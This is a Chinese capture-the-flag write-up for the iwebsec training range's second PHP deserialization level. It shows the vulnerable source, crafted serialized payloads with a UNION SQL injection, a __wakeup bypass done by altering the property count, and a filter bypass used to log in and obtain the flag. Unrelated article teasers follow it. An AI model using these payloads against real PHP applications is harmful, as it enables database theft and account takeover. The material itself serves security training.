iwebsec靶场 反序列化关卡通关笔记2-反序列化漏洞示例02

目录

第02关 反序列化漏洞示例02

1.打开靶场

2.源码分析

3.login函数利用

4.show函数利用

5.参数反序列化设计

6.show函数查询orange

7.增加注释语句

8.show函数SQL注入获取密码

(1)构造SQL语句

(2)构造序列化

(3)实战SQL注入渗透

(4)绕过wakeup

8.登录渗透

(1)绕过orange账号过滤

(2)序列化

(3)实战渗透


第02关 反序列化漏洞示例02

1.打开靶场

iwebsec 靶场漏洞库iwebsecicon-default.png?t=O83Ahttp://iwebsec.com:81/unserialize/02/index.php

 

2.源码分析

如下所示,有__destruct和__wakeup函数的调用,故而存在反序列化漏洞。

<?phprequire_once('../../header.php');?>
<html><head><title>反序列化漏洞</title></head><h2>反序列化漏洞</h2><div class="alert alert-success"><p>/index.php?data=hello </p></div><body>
<?phpinclude "config.php";class WEB{private $method;private $args;private $conn;public function __construct($method, $args) {$this->method = $method;$this->args = $args;$this->__conn();}function show() {list($username) = func_get_args();$sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);$obj = $this->__query($sql);if ( $obj != false  ) {$this->__die( sprintf("%s is %s", $obj->username, $obj->role) );} else {$this->__die("error!");}}function login() {global $FLAG;list($username, $password) = func_get_args();$username = strtolower(trim(mysql_escape_string($username)));$password = strtolower(trim(mysql_escape_string($password)));$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);if ( $username == 'orange' || stripos($sql, 'orange') != false ) {$this->__die("Orange is so shy. He do not want to see you.");}$obj = $this->__query($sql);if ( $obj != false && $obj->role == 'admin'  ) {$this->__die("Hi, Orange! Here is your flag: " . $FLAG);} else {$this->__die("Admin only!");}}function source() {highlight_file(__FILE__);}function __conn() {global $db_host, $db_name, $db_user, $db_pass, $DEBUG;if (!$this->conn)$this->conn = mysql_connect($db_host, $db_user, $db_pass);mysql_select_db($db_name, $this->conn);if ($DEBUG) {$sql = "CREATE TABLE IF NOT EXISTS users ( username VARCHAR(64), password VARCHAR(64), role VARCHAR(64)) CHARACTER SET utf8";$this->__query($sql, $back=false);$sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";$this->__query($sql, $back=false);} mysql_query("SET names utf8");mysql_query("SET sql_mode = 'strict_all_tables'");}function __query($sql, $back=true) {$result = @mysql_query($sql);if ($back) {return @mysql_fetch_object($result);}}function __die($msg) {$this->__close();header("Content-Type: application/json");die( json_encode( array("msg"=> $msg) ) );}function __close() {mysql_close($this->conn);}function __destruct() {$this->__conn();if (in_array($this->method, array("show", "login", "source"))) {@call_user_func_array(array($this, $this->method), $this->args);} else {$this->__die("What do you do?");}$this->__close();}function __wakeup() {
foreach($this->args as $k => $v) {$this->args[$k] = strtolower(trim(mysql_escape_string($v)));}}
}if(isset($_GET["data"])) {@unserialize($_GET["data"]);    
} else {new WEB("source", array());
}

关键函数destruct是通过参数来判断,如果传入参数时show就决定调用show函数,如果传入参数时login就调用login函数,另外如果参数时source就调用source函数。

    function __destruct() {$this->__conn();if (in_array($this->method, array("show", "login", "source"))) {@call_user_func_array(array($this, $this->method), $this->args);} else {$this->__die("What do you do?");}$this->__close();}

另一个关键函数wakeup则是对SQL语句进行过滤处理

    function __wakeup() {
foreach($this->args as $k => $v) {$this->args[$k] = strtolower(trim(mysql_escape_string($v)));}}

3.login函数利用

分析login函数,此函数中可以通过用户名和密码登陆后输出flag。如下所示可知存在用户名为orange,它的角色role是admin。

function login() {global $FLAG;list($username, $password) = func_get_args();$username = strtolower(trim(mysql_escape_string($username)));$password = strtolower(trim(mysql_escape_string($password)));$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);if ( $username == 'orange' || stripos($sql, 'orange') != false ) {$this->__die("Orange is so shy. He do not want to see you.");}$obj = $this->__query($sql);if ( $obj != false && $obj->role == 'admin'  ) {$this->__die("Hi, Orange! Here is your flag: " . $FLAG);} else {$this->__die("Admin only!");}}

SQL语句的查询条件为用户名和密码,但是对username和password进行了过滤,且当两者都存在时才能查询成功

"SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password

根据如下内容可知如果用户名为orange,或者SQL语句中出现orange后不让查询

if ( $username == 'orange' || stripos($sql, 'orange') != false ) {$this->__die("Orange is so shy. He do not want to see you.");
}

根据如下内容可知道如果角色为admin且SQL语句查找成功时,可以确保打印出flag 

if ( $obj != false && $obj->role == 'admin'  ) {$this->__die("Hi, Orange! Here is your flag: " . $FLAG);}

根据如上内容,如果想渗透成功就需要使用用户名orange,于是

SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password

由于这里使用了mysql_escape_string函数处理,故而可以考虑通过show函数获取到admin角色的账号的户名和密码

4.show函数利用

分析show函数源码,大概功能是基于用户名来进行SQL查询。如下所示,SQL语句中并没有过滤函数对其进行处理

function show() {list($username) = func_get_args();$sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);$obj = $this->__query($sql);if ( $obj != false  ) {$this->__die( sprintf("%s is %s", $obj->username, $obj->role) );} else {$this->__die("error!");}}

  其中SQL语句的闭合方式为单引号,可以构造union查询的SQL注入语句

"SELECT * FROM users WHERE username='%s'", $username

使用参数

username=orange

5.参数反序列化设计

根据源码,根据data进行参数传入,传入后对参数进行反序列化函数处理

if(isset($_GET["data"])) {@unserialize($_GET["data"]);    
} else {new WEB("source", array());
}

基于此,需要对data参数进行反序列化,构造如下语句

<?php class WEB{private $method;private $args;public function __construct($method, $args) {$this->method = $method;$this->args = $args;}
}
$args['username'] = "orange";
$args['password'] = "";
$method="show"; #或者login,或者show,或者为source
//进行序列化
$data = new WEB($method,$args);
var_dump(serialize($data));
?>

6.show函数查询orange

举例,如果想获取orange账号的show函数调用结果,构造参数如下

将方框用%00替换,故而参数为

O:3:"WEB":2:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:2:{s:8:"username";s:6:"orange";s:8:"password";s:0:"";}}

 http://iwebsec.com:81/unserialize/02/index.php?data=O:3:"WEB":2:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:2:{s:8:"username";s:6:"orange";s:8:"password";s:0:"";}}icon-default.png?t=O83Ahttp://iwebsec.com:81/unserialize/02/index.php?data=O:3:%22WEB%22:2:%7Bs:11:%22%00WEB%00method%22;s:4:%22show%22;s:9:%22%00WEB%00args%22;a:2:%7Bs:8:%22username%22;s:6:%22orange%22;s:8:%22password%22;s:0:%22%22;%7D%7D

获取到orange账号的role为为admin

7.增加注释语句

为了调试代码更加清晰,在wakeup函数处理前后增加print语句,show函数前后增加print语句,从而更清晰明了看出SQL语句是否正确

<?phprequire_once('../../header.php');?>
<html><head><title>反序列化漏洞</title></head><h2>反序列化漏洞</h2><div class="alert alert-success"><p>/index.php?data=hello </p></div><body>
<?phpinclude "config.php";class WEB{private $method;private $args;private $conn;public function __construct($method, $args) {$this->method = $method;$this->args = $args;$this->__conn();}function show() {list($username) = func_get_args();
print_r("\r\n");
print_r($username);
print_r("\r\n");$sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
print_r($sql);
print_r("\r\n");$obj = $this->__query($sql);if ( $obj != false  ) {$this->__die( sprintf("%s is %s", $obj->username, $obj->role) );} else {$this->__die("error!");}}function login() {global $FLAG;list($username, $password) = func_get_args();$username = strtolower(trim(mysql_escape_string($username)));$password = strtolower(trim(mysql_escape_string($password)));$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);if ( $username == 'orange' || stripos($sql, 'orange') != false ) {$this->__die("Orange is so shy. He do not want to see you.");}$obj = $this->__query($sql);if ( $obj != false && $obj->role == 'admin'  ) {$this->__die("Hi, Orange! Here is your flag: " . $FLAG);} else {$this->__die("Admin only!");}}function source() {highlight_file(__FILE__);}function __conn() {global $db_host, $db_name, $db_user, $db_pass, $DEBUG;if (!$this->conn)$this->conn = mysql_connect($db_host, $db_user, $db_pass);mysql_select_db($db_name, $this->conn);if ($DEBUG) {$sql = "CREATE TABLE IF NOT EXISTS users ( username VARCHAR(64), password VARCHAR(64), role VARCHAR(64)) CHARACTER SET utf8";$this->__query($sql, $back=false);$sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";$this->__query($sql, $back=false);} mysql_query("SET names utf8");mysql_query("SET sql_mode = 'strict_all_tables'");}function __query($sql, $back=true) {$result = @mysql_query($sql);if ($back) {return @mysql_fetch_object($result);}}function __die($msg) {$this->__close();header("Content-Type: application/json");die( json_encode( array("msg"=> $msg) ) );}function __close() {mysql_close($this->conn);}function __destruct() {$this->__conn();if (in_array($this->method, array("show", "login", "source"))) {@call_user_func_array(array($this, $this->method), $this->args);} else {$this->__die("What do you do?");}$this->__close();}function __wakeup() {
foreach($this->args as $k => $v) {
print_r($this->args[$k]);$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
print_r("\r\n");
print_r($this->args[$k]);
print_r("----------end wakeup\r\n");}}}if(isset($_GET["data"])) {@unserialize($_GET["data"]);    
} else {new WEB("source", array());
}
require_once '../../footer.php';

8.show函数SQL注入获取密码

(1)构造SQL语句

show函数SQL语句的闭合方式为单引号,可以构造union查询的SQL注入语句

"SELECT * FROM users WHERE username='%s'", $username

且查询成功仅打印如下信息(即账号的username和role),算上login函数提示的中users表中还有密码参数在内,猜测这次select *应该是查询出至少3列数据。

$obj = $this->__query($sql);
sprintf("%s is %s", $obj->username, $obj->role)

如上所示,打印了obj内容中的username和role,select *内容为3列,由于不知道顺序使什么样的,为了使可以查询password,我们可以构造语句

 union select passord,passord,passord from users where username='orange'

尝试与union注入参数合并使用,如下所示

ljn' union select passord,passord,passord from users where username='orange' -- 

(2)构造序列化

<?php class WEB{private $method;private $args;public function __construct($method, $args) {$this->method = $method;$this->args = $args;}
}$args=array("ljn' union select password,password,password from users where username='orange' -- ");
$method="show"; #或者login,或者show,或者为source
//进行序列化
$data = new WEB($method,$args);
var_dump(serialize($data));
?>

生成如下内容

 将方框用%00替换,参数为

"O:3:"WEB":2:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:1:{i:0;s:83:"ljn' union select password,password,password from users where username='orange' -- ";}}"

(3)实战SQL注入渗透

构造如下url

http://192.168.71.151/unserialize/02/index.php?data=O:3:"WEB":2:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:1:{i:0;s:83:"ljn' union select password,password,password from users where username='orange' -- ";}}

渗透结果如下所示

这里可以看到函数被wakeup函数处理,输出的内容中包含了mysql_escape_string,增加了转义符处理,如下所示

SELECT * FROM users WHERE username='ljn\' union select password,password,password from users where username=\'orange\' --

(4)绕过wakeup

正因如此,需要想办法绕过wakeup函数的处理,可以通过将对象属性的个数进行修改,比如说将数字数量修改一下

O:3:"WEB":3:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:1:{i:0;s:83:"ljn' union select password,password,password from users where username='orange' -- ";}}

接下来进行渗透

http://192.168.71.151/unserialize/02/index.php?data=O:3:"WEB":3:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:1:{i:0;s:83:"ljn' union select password,password,password from users where username='orange' -- ";}}

渗透结果如下所示

 最终获取到orange用户的密码为mall123mall

{"msg":"mall123mall is mall123mall"}

 iwebsec官网注入地址为

http://iwebsec.com:81/unserialize/02/index.php?data=O:3:"WEB":3:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:1:{i:0;s:83:"ljn' union select password,password,password from users where username='orange' -- ";}}

8.登录渗透

(1)绕过orange账号过滤

构造参数,正常来讲如下所示可以输出flag。

$args['username'] = 'orange';
$args['password'] = 'mall123mall';
$method="login";

但是根据login函数中对oragne账号的过滤,可知如果用户名为orange,或者SQL语句中出现orange后程序会直接停止,无法输出flag。

if ( $username == 'orange' || stripos($sql, 'orange') != false ) {$this->__die("Orange is so shy. He do not want to see you.");
}

故而在渗透过程中,需要对orange进行替换,将其替换为orÃnge

(2)序列化

根据上一步的用户名 'orÃnge'和密码'mall123mall'进行登录操作,即参数为

$args['username'] = 'orÃnge';
$args['password'] = 'mall123mall';
$method="login";

 由于源码中会对参数进行反序列化操作,故而需要将操作进行序列化,如下所示

<?php class WEB{private $method;private $args;public function __construct($method, $args) {$this->method = $method;$this->args = $args;}
}
$args['username'] = 'orÃnge';
$args['password'] = 'mall123mall';
$method="login";
//进行序列化
$data = new WEB($method,$args);
var_dump(serialize($data));?>

(3)实战渗透

 生成内容将方框乱码替换为%00,这是因为它本身就是对%00进行编码处理后的值,如下所示替换后如下右图所示

输入参数为

O:3:"WEB":2:{s:11:"%00WEB%00method";s:5:"login";s:9:"%00WEB%00args";a:2:{s:8:"username";s:7:"orÃnge";s:8:"password";s:11:"mall123mall";}}

构造url为

http://iwebsec.com:81/unserialize/02/index.php?data=O:3:"WEB":2:{s:11:"%00WEB%00method";s:5:"login";s:9:"%00WEB%00args";a:2:{s:8:"username";s:7:"orÃnge";s:8:"password";s:11:"mall123mall";}}

如下所示

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1548657.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

OJ在线评测系统 后端判题机架构搭建 使用原生实现Java安全管理器环境隔离

原生实现安全管理器环境隔离 限制用户的操作权限 文件 网络 执行 Java安全管理器 SecurityManager 来实现更严格的限制 是 Java 提供的保护 JVM Java安全的机制 可以实现更严格的资源和操作限制 编写安全管理器 只需要继承 SecurityManager类 我们可以从这个参数perm参数拿…

Study--Oracle-09--部署Openfiler存储服务器

一、安装Oracle RAC需要存储&#xff0c;为此搭建安装openfiler用于模拟存储。 openfiler相关镜像包可从官网下载&#xff1a;Downloads | Openfiler 当前最新版本如下&#xff08;该笔记也是基于如下版本&#xff09; 二、安装步骤 https://zhuanlan.zhihu.com/p/519819303…

趋势外推法

趋势外推法主要利用图形识别法和差分法计算&#xff0c;进行模型的基本选择。 一、图形识别法。 这种方法是通过绘制散点图来进行的&#xff0c;即将时间序列的数据绘制成以时间 t 为横轴、时序观察值为纵轴的图形&#xff0c;观察并将其变化曲线与各类函数曲线模型的图形进行…

媒界:吉利星瑞百炼成钢,持续引领中国汽车价值向上

秋风送爽绘秋色&#xff0c;出行良辰恰逢时。9月28日至9月29日&#xff0c;2024安行中国汽车安全科技公益巡展迎来尾声&#xff0c;安行中国携手吉利汽车&#xff0c;步履轻盈地踏入苏州星湖天街&#xff0c;共同呈献一场融合环保科技前沿、安全驾驶理念与深厚文化底蕴的48小时…

设备管理系统-TPM(PC+APP/PDA全流程)高保真Axure原型 源文件分享

随着科技的不断发展&#xff0c;企业对于设备管理的需求也日益增强。为了满足企业在设备管理方面的各种需求&#xff0c;站长为大家整理了一套设备管理系统TPM&#xff08;PCAPP/PDA全流程&#xff09;高保真Axure原型&#xff0c;通过这套原型&#xff0c;企业能够实现对设备的…

Xinstall助力广告主实现精准投放,提升App广告效果!

随着移动互联网的快速发展&#xff0c;App广告投放已成为品牌推广的重要手段。然而&#xff0c;广告投放的效果如何&#xff0c;是否达到了预期的目标&#xff0c;这些问题一直困扰着广告主。今天&#xff0c;我们就来聊聊App广告投放数据统计的痛点&#xff0c;以及Xinstall如…

HBase DML操作代码汇总(表格数据的CRUD操作)

HBase DML操作 DML操作主要是关于对表格内部数据的增删改查。 HbaseDML package org.hbase;import org.apache.hadoop.hbase.Cell; import org.apache.hadoop.hbase.CellUtil; import org.apache.hadoop.hbase.CompareOperator; import org.apache.hadoop.hbase.TableName; i…

性能测试:性能测试计划

性能测试计划是在进行软件或系统的性能测试之前制定的详细计划和指导文件。它描述了所需性能测试的目标、范围、测试环境、资源需求、测试策略、测试用例、时间表等重要信息。 为什么要制定性能测试计划 制定性能测试计划的主要目的是确保性能测试的有效性和可靠性。以下是制…

通过OpenScada在ARMxy边缘计算网关上实现数字化转型

随着工业4.0概念的普及&#xff0c;数字化转型已成为制造业升级的关键路径之一。在此背景下&#xff0c;边缘计算技术因其能够有效处理大量数据、减少延迟并提高系统响应速度而受到广泛关注。ARMxy边缘计算网关&#xff0c;特别是BL340系列&#xff0c;凭借其强大的性能和灵活的…

大联大友尚集团推出基于炬芯科技产品的蓝牙音箱方案

大联大控股宣布&#xff0c;其旗下友尚推出基于炬芯科技&#xff08;Actions&#xff09;ATS2835P蓝牙音频SoC的蓝牙音箱方案。 图示1-大联大友尚基于炬芯科技产品的蓝牙音箱方案的展示板图 在智能音频设备市场持续升温的浪潮中&#xff0c;蓝牙音箱凭借音质卓越、操作简便等…

自定义认证过滤器和自定义授权过滤器

目录 通过数据库动态加载用户信息 具体实现步骤 一.创建数据库 二.编写secutity配置类 三.编写controller 四.编写服务类实现UserDetailsService接口类 五.debug springboot启动类 认证过滤器 SpringSecurity内置认证流程 自定义认证流程 第一步:自定义一个类继承Abstra…

【15%】100小时机器学习——什么是机器学习

前言 虽然已经好久没有更新了&#xff0c;但笔者最近一直都在努力学习哦。 前面三三两两根据GitHub上的项目写了一些实验操作&#xff0c;但是总觉得这样是不行的。碎片化的学习只能是建立在已知的基础上进行熟练&#xff0c;不能作为打基础的主力方法&#xff0c;最关键的是&a…

CJEval:一个基于中国初中考试的多样化考试问题数据集

2024-09-26&#xff0c;由腾讯YouTu Lab和北京大学联合发布的CJEval&#xff0c;是一个基于中国初中生考试数据的评估基准&#xff0c;用于测试和分析大型语言模型&#xff08;LLMs&#xff09;在教育任务中的表现&#xff0c;从而提高在线教育平台的智能化水平。 一、背景&…

【湖南步联科技身份证】 身份证读取与酒店收银系统源码整合———未来之窗行业应用跨平台架构

一、html5 <!DOCTYPE html> <html><head><meta http-equiv"Content-Type" content"text/html; charsetutf-8" /><script type"text/javascript" src"http://51.onelink.ynwlzc.net/o2o/tpl/Merchant/static/js…

【CSS in Depth 2 精译_041】6.4 CSS 中的堆叠上下文与 z-index(上)

当前内容所在位置&#xff08;可进入专栏查看其他译好的章节内容&#xff09; 第一章 层叠、优先级与继承&#xff08;已完结&#xff09;第二章 相对单位&#xff08;已完结&#xff09;第三章 文档流与盒模型&#xff08;已完结&#xff09;第四章 Flexbox 布局&#xff08;已…

养猫久了才发现,宠物空气净化器才是真正除猫毛的神器

相信每个打工人都在期待这个国庆小长假吧&#xff0c;终于等到了&#xff01;这次我要把属于我的都夺回来&#xff01;刚好工资到手、小长假我有&#xff0c;只想往家里一躺什么也不想&#xff0c;唯一最想做的就是要在这个节假日里好好的陪一下我家猫咪&#xff0c;还有就是买…

关于LlamaIndex 的存储概念和代码基本实现

概念 LlamaIndex 提供了一个高级接口&#xff0c;用于提取、索引和查询外部数据。 在后台&#xff0c;LlamaIndex 还支持可插拔的存储组件&#xff0c;允许您自定义&#xff1a; Document stores 文档存储&#xff1a;存储摄取的文档&#xff08;即对象&#xff09;的位置&a…

cscode搭建vue项目

创建前安装环境 ctrlj弹出终端 window需要管理员运行并且授权 node -v # 显示版本号&#xff0c;说明 node 已经装好 npm -v # 显示版本号&#xff0c;说明 npm 可以使用 # 安装cnpm npm install -g cnpm --registryhttps://registry.npm.taobao.org cnpm -v # 显示版本号&a…

深度学习(三)——Springer特刊推荐

特刊征稿 01 期刊名称&#xff1a; MOBILE NETWORKS & APPLICATIONS 特刊名称&#xff1a;Resource Efficient Deep Learning for Computer Vision Applications 截止时间&#xff1a; 开放提交&#xff1a;2023年12月13日 提交截止日期&#xff1a;2024年10月30日 目标…

关于LlamaIndex 的几种索引方式介绍

每个索引的工作原理 本指南介绍每个索引如何与图表配合使用。 一些术语&#xff1a; Node&#xff1a;对应于 Document 中的一段文本。LlamaIndex 接收 Document 对象&#xff0c;并在内部将它们解析/分块为 Node 对象。Response Synthesis&#xff1a;我们的模块&#xff0…